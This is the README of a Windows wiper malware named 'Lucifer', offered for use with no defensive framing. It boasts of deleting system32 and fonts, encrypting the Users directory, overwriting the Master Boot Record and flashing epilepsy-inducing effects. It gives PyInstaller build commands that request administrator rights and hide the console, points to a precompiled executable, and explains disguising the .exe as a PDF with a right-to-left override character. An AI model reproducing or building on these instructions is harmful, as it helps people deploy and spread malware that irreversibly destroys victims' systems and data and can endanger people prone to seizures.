Lucifer is a wiper malware that aims to be as destructive as possible π
Main features:
- Changes wallpaper
- Flashy epilepsy-inducing GDI effects
- Deletes all fonts
- Persistency
- Deletes system32 (bypasses permission issues)
- Encrypts the entire Users directory
- Overrides Master Boot Record (MBR)
- And more!
Definitely an overkill, but the rationale is that even if the MBR was restored, the deleted system32 files will make the system unusable anyway. But even if the system was restored, the victim's most important files (Desktop, Downloads, Documents, etc.) will be encrypted and inaccessible.
If you want to make modifications, use PyInstaller to compile the .py file into an .exe
pip install pyinstaller
pyinstaller --noconsole --uac-admin --onefile --icon=lucifer.ico --add-data "lucifer.jpg;." lucifer.py
Or just use the already compiled executable in the dist
folder.
Some extra fun: I used unicode U+202E 'Right-To-Left Override' to disguise the .exe as a pdf. Enjoy :)